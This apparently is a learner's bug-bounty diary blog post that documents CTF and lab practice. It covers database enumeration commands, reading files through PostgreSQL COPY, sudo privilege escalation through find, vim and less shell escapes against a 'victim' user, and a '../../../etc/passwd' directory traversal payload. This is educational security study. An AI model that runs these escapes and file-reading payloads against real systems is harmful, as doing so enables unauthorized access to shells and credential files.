Bug Bounty Diaries #7 – Hacker101, SQL, Privesc & Dir. Traversal

curl -X GET http://35.190.155.168/b07fd435fe/page/edit/2

curl -X POST http://35.190.155.168/b07fd435fe/page/edit/2

show databases;
use [DATABASE];
show tables;
select * from [TABLE];

psql

\list

\c [DATABASE]

\d

SELECT * from users;

CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;

DROP TABLE demo;

sqlite3 [FILENAME]

.tables

SELECT * from users;

Puh, that was a lot of Database stuff! Let’s move on to something more exciting.

Privilege Escalation

I also learned a couple of things in regards to Privilege Escalation while doing some Pentesterlabs exercises. Most notably, exploiting sudo permissions to read/modify files from other users. I’ll walk you through a couple of them.

In regards to Privilege Escalation, make sure to check out GTFOBins. I will show you more about GTFOBins in the accompanying video on YouTube.

Below I show you a couple of possibilities on how to exploit sudo permissions to execute stuff as sudo with the low-priv user.

To find out which commands a user can run as sudo, you can check this by typing:

sudo -l

Example 1: User has sudo access to the find command

User has sudo permissions for /usr/bin/find

sudo -u victim find /home/victim -name key.txt

This allows you to find files, specifically the key.txt file of the victim using his sudo permissions.

Now we can also read the contents of the key.txt file

sudo -u victim find /home/victim -name key.txt -exec cat {} \;

sudo -u victim vim /home/victim/key.txt

sudo -u victim vim
:!/bin/bash

sudo -u victim less /victim/home/key.txt

sudo -u victim less /victim/home/key.txt

:!/bin/bash

This should give you a good idea of what the possibilities are in regards to Privilege Escalation. Hint: There are about 3 million more. All credits go to Pentesterlabs.

Portswigger Labs

I have learned a fair bit on Directory Traversal over at the awesome Labs of Portswigger Academy. All the information provided here comes with credit to Portswigger.

Directory Traversal

Directory Traversal can be used to access or modify files on a Webserver. Let’s say you have an image that is referred to by filename=218.png or something like this:

<img src="/loadImage?filename=218.png">

This loadImage URL takes in the filename parameter and returns the content of it. Obviously the image itself is stored somewhere in /var/www/images on the backend. That means, the application actually reads from this path:

/var/www/images/218.png

Because this particular app does not have any defenses against Directory Traversal, we can access other files on the server by modifying the URL path like so:

https://insecure-website.com/loadImage?filename=../../../etc/passwd

Which executes the following path on the backend:

/var/www/images/../../../etc/passwd

Hence, we can read the passwd file!

I found this exercise super interesting and I will test for that kind of thing every time from now on.